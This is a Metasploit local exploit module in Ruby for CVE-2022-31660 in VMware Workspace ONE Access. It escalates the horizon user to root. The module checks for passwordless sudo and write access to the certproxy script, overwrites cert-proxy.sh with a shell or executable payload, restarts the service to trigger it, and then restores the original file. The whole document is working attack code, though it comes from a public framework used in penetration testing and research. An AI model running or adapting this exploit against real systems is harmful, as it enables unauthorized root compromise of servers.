##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Unix

  TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
          'Description' => %q{
            VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
            to those of the root user by modifying a file and then restarting the vmware-certproxy service which
            invokes it. The service control is permitted via the sudo configuration without a password.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Spencer McIntyre'
          ],
          'Platform' => [ 'linux', 'unix' ],
          'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          'SessionTypes' => ['shell', 'meterpreter'],
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DefaultOptions' => {
            'PrependFork' => true,
            'MeterpreterTryToFork' => true
          },
          'Privileged' => true,
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2022-31660' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
          ],
          'DisclosureDate' => '2022-08-02',
          'Notes' => {
            # We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
            # is disabled by default though.
            'Stability' => [CRASH_SERVICE_DOWN],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        }
      )
    )
  end

  def certproxy_service
    # this script's location depends on the version, so find it.
    return @certproxy_service if @certproxy_service

    @certproxy_service = [
      '/usr/local/horizon/scripts/certproxyService.sh',
      '/opt/vmware/certproxy/bin/certproxyService.sh'
    ].find { |path| file?(path) }

    vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
    @certproxy_service
  end

  def sudo(arguments)
    cmd_exec("sudo --non-interactive #{arguments}")
  end

  def check
    unless whoami == 'horizon'
      return CheckCode::Safe('Not running as the horizon user.')
    end

    token = Rex::Text.rand_text_alpha(10)
    unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
      return CheckCode::Safe('Cannot invoke the service control script with sudo.')
    end

    unless writable?(TARGET_FILE)
      return CheckCode::Safe('Cannot write to the service file.')
    end

    CheckCode::Appears
  end

  def exploit
    # backup the original permissions and contents
    print_status('Backing up the original file...')
    @backup = {
      stat: stat(TARGET_FILE),
      contents: read_file(TARGET_FILE)
    }

    if payload.arch.first == ARCH_CMD
      payload_data = "#!/bin/bash\n#{payload.encoded}"
    else
      payload_data = generate_payload_exe
    end
    upload_and_chmodx(TARGET_FILE, payload_data)
    print_status('Triggering the payload...')
    sudo("--background #{certproxy_service} restart")
  end

  def cleanup
    return unless @backup

    print_status('Restoring file contents...')
    file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
    write_file(TARGET_FILE, @backup[:contents])
    print_status('Restoring file permissions...')
    chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
  end
end
